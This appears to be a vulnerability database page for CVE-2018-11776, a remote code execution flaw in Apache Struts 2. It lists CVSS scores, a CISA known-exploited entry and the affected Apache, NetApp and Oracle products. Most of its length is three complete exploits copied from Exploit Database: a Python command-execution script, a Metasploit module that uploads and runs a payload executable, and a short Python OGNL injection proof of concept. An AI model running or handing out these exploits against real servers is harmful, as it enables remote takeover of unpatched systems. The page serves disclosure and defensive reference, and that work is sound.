Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE Other |
No informations. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
8.1 |
HIGH |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Apache Struts Remote Code Execution Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2021-11-02 23h00 +00:00
Action is due : 2022-05-02 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 45260
Publication date : 2018-08-25 22h00 +00:00
Author : Mazin Ahmed
EDB Verified : No
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2018-11776 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code uses a payload from:
# https://github.com/jas502n/St2-057
# *****************************************************
import argparse
import random
import requests
import sys
try:
from urllib import parse as urlparse
except ImportError:
import urlparse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: 'id')",
action='store',
default='id')
parser.add_argument("--exploit",
dest="do_exploit",
help="Exploit.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*'
}
timeout = 3
def parse_url(url):
"""
Parses the URL.
"""
# url: http://example.com/demo/struts2-showcase/index.action
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urlparse.urlparse(url).scheme
# Site: http://example.com
site = scheme + '://' + urlparse.urlparse(url).netloc
# FilePath: /demo/struts2-showcase/index.action
file_path = urlparse.urlparse(url).path
if (file_path == ''):
file_path = '/'
# Filename: index.action
try:
filename = url.split('/')[-1]
except IndexError:
filename = ''
# File Dir: /demo/struts2-showcase/
file_dir = file_path.rstrip(filename)
if (file_dir == ''):
file_dir = '/'
return({"site": site,
"file_dir": file_dir,
"filename": filename})
def build_injection_inputs(url):
"""
Builds injection inputs for the check.
"""
parsed_url = parse_url(url)
injection_inputs = []
url_directories = parsed_url["file_dir"].split("/")
try:
url_directories.remove("")
except ValueError:
pass
for i in range(len(url_directories)):
injection_entry = "/".join(url_directories[:i])
if not injection_entry.startswith("/"):
injection_entry = "/%s" % (injection_entry)
if not injection_entry.endswith("/"):
injection_entry = "%s/" % (injection_entry)
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.
injection_entry += parsed_url["filename"]
injection_inputs.append(injection_entry)
return(injection_inputs)
def check(url):
random_value = int(''.join(random.choice('0123456789') for i in range(2)))
multiplication_value = random_value * random_value
injection_points = build_injection_inputs(url)
parsed_url = parse_url(url)
print("[%] Checking for CVE-2018-11776")
print("[*] URL: %s" % (url))
print("[*] Total of Attempts: (%s)" % (len(injection_points)))
attempts_counter = 0
for injection_point in injection_points:
attempts_counter += 1
print("[%s/%s]" % (attempts_counter, len(injection_points)))
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
continue
if "Location" in resp.headers.keys():
if str(multiplication_value) in resp.headers['Location']:
print("[*] Status: Vulnerable!")
return(injection_point)
print("[*] Status: Not Affected.")
return(None)
def exploit(url, cmd):
parsed_url = parse_url(url)
injection_point = check(url)
if injection_point is None:
print("[%] Target is not vulnerable.")
return(0)
print("[%] Exploiting...")
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%
[email protected]@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%
[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
return(1)
print("[%] Response:")
print(resp.text)
return(0)
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
if url:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), "r")
URLs_List = f_file.read().replace("\r", "").split("\n")
try:
URLs_List.remove("")
except ValueError:
pass
f_file.close()
except Exception as e:
print("Error: There was an error in reading list file.")
print("Exception: " + str(e))
exit(1)
for url in URLs_List:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
print("[%] Done.")
if __name__ == "__main__":
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
except KeyboardInterrupt:
print("\nKeyboardInterrupt Detected.")
print("Exiting...")
exit(0)
Exploit Database EDB-ID : 45367
Publication date : 2018-09-09 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-11776'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
],
'Privileged' => false,
'Targets' => [
[
'Automatic detection', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Windows', {
'Platform' => %w{ windows },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Linux', {
'Platform' => %w{ unix linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
},
],
],
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
]
)
end
def check
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
ognl = "#_memberAccess['allowStaticMethodAccess']"
resp = send_struts_request(ognl)
# If vulnerable, the server should return an HTTP 302 (Redirect)
# and the 'Location' header should contain either 'true' or 'false'
if resp && resp.headers['Location']
output = resp.headers['Location']
vprint_status("Redirected to: #{output}")
if (output.include? '/true/')
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
elsif (output.include? '/false/')
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
datastore['ENABLE_STATIC'] = true
CheckCode::Vulnerable
else
CheckCode::Safe
end
elsif resp && resp.code==400
# METHOD 2: Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b
ognl = "#{a}+#{b}"
resp = send_struts_request(ognl)
if resp.headers['Location'].include? c.to_s
vprint_status("Redirected to: #{resp.headers['Location']}")
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
end
def exploit
case payload.arch.first
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload()
end
end
def encode_ognl(ognl)
# Check and fail if the command contains the follow bad characters:
# ';' seems to terminates the OGNL statement
# '/' causes the target to return an HTTP/400 error
# '\' causes the target to return an HTTP/400 error (sometimes?)
# '\r' ends the GET request prematurely
# '\n' ends the GET request prematurely
# TODO: Make sure the following line is uncommented
bad_chars = %w[; \\ \r \n] # and maybe '/'
bad_chars.each do |c|
if ognl.include? c
print_error("Bad OGNL request: #{ognl}")
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
end
end
# The following list of characters *must* be encoded or ORNL will asplode
encodable_chars = { "%": "%25", # Always do this one first. :-)
" ": "%20",
"\"":"%22",
"#": "%23",
"'": "%27",
"<": "%3c",
">": "%3e",
"?": "%3f",
"^": "%5e",
"`": "%60",
"{": "%7b",
"|": "%7c",
"}": "%7d",
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?
}
encodable_chars.each do |k,v|
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
ognl.gsub!("#{k}","#{v}")
end
return ognl
end
def send_struts_request(ognl, payload: nil)
=begin #badchar-checking code
pre = ognl
=end
ognl = "${#{ognl}}"
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)
headers = {'Keep-Alive': 'timeout=5, max=1000'}
if payload
vprint_status("Embedding payload of #{payload.length} bytes")
headers[datastore['HEADER']] = payload
end
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
uri = "/#{ognl}/#{datastore['ACTION']}"
resp = send_request_cgi(
#'encode' => true, # this fails to encode '\', which is a problem for me
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
=begin #badchar-checking code
print_status("Response code: #{resp.code}")
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
if resp.headers['Location']
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
if resp.headers['Location'].split('/')[1] == pre[1..-2]
print_good("GOT 'EM!")
else
print_error(" #{pre[1..-2]}")
end
end
=end
resp
end
def profile_target
# Use OGNL to extract properties from the Java environment
properties = { 'os.name': nil, # e.g. 'Linux'
'os.arch': nil, # e.g. 'amd64'
'os.version': nil, # e.g. '4.4.0-112-generic'
'user.name': nil, # e.g. 'root'
#'user.home': nil, # e.g. '/root' (didn't work in testing)
'user.language': nil, # e.g. 'en'
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
}
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|('#{rand_text_alpha(2)}')|
properties.each do |k,v|
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
end
ognl = ognl[0...-4]
r = send_struts_request(ognl)
if r.code == 400
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
elsif r.headers['Location']
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
# Extract the OGNL output from the Location path, and strip the two random chars
s = r.headers['Location'].split('/')[1][2..-1]
if s.nil?
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
# But we didn't get any output, so we can't profile the target. Abort.
return nil
end
# Confirm that all fields were returned, and non include extra (:) delimiters
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
if s.count(':') > properties.length
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
end
# Separate the colon-delimited properties and store in the 'properties' hash
s = s.split(':')
i = 0
properties.each do |k,v|
properties[k] = s[i]
i += 1
end
print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
return properties
else
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
end
end
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
if (os.include? 'linux') || (os.include? 'nix')
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
cmd = cmd_input
end
# The following OGNL will run arbitrary commands on Windows and Linux
# targets, as well as returning STDOUT and STDERR. In my testing,
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
vprint_status("Executing: #{cmd}")
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start()).|
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
ognl << %q|(#r.flush())|
r = send_struts_request(ognl)
if r && r.code == 200
print_good("Command executed:\n#{r.body}")
elsif r
if r.body.length == 0
print_status("Payload sent, but no output provided from server.")
elsif r.body.length > 0
print_error("Failed to run command. Response from server: #{r.to_s}")
end
end
end
def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end
random_filename = datastore['TEMPFILE']
# d = data stream from HTTP header
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#
[email protected]@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#
[email protected]@createTempFile('#{random_filename}','tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
elsif r && r.headers['Location']
vprint_error("RESPONSE: " + r.headers['Location'])
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
elsif r && r.code == 400
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
end
Exploit Database EDB-ID : 45262
Publication date : 2018-08-24 22h00 +00:00
Author : hook-s3c
EDB Verified : No
#!/usr/bin/python
# -*- coding: utf-8 -*-
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
import sys
import urllib
import urllib2
import httplib
def exploit(host,cmd):
print "[Execute]: {}".format(cmd)
ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl_payload += "(#cmd='{}').".format(cmd)
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl_payload += "(#p.redirectErrorStream(true))."
ognl_payload += "(#process=#p.start())."
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl_payload += "(#ros.flush())"
ognl_payload += "}"
if not ":" in host:
host = "{}:8080".format(host)
# encode the payload
ognl_payload_encoded = urllib.quote_plus(ognl_payload)
# further encoding
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))
print "[Url]: {}\n\n\n".format(url)
try:
request = urllib2.Request(url)
response = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
response = e.partial
print response
if len(sys.argv) < 3:
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
exploit(sys.argv[1],sys.argv[2])
Products Mentioned
Configuraton 0
Apache>>Struts >> Version From (including) 2.0.4 To (excluding) 2.3.35
Apache>>Struts >> Version From (including) 2.5.0 To (excluding) 2.5.17
Configuraton 0
Netapp>>Active_iq_unified_manager >> Version From (including) 7.3
Netapp>>Active_iq_unified_manager >> Version From (including) 9.5
Netapp>>Oncommand_insight >> Version -
Netapp>>Oncommand_workflow_automation >> Version -
Netapp>>Snapcenter >> Version -
Configuraton 0
Oracle>>Communications_policy_management >> Version To (excluding) 12.5.0
Oracle>>Enterprise_manager_base_platform >> Version 13.3.0.0
Oracle>>Enterprise_manager_base_platform >> Version 13.4.0.0
Oracle>>Mysql_enterprise_monitor >> Version To (including) 3.4.9.4237
Oracle>>Mysql_enterprise_monitor >> Version From (including) 4.0.0 To (including) 4.0.6.5281
Oracle>>Mysql_enterprise_monitor >> Version From (including) 8.0.0 To (including) 8.0.2.8191
References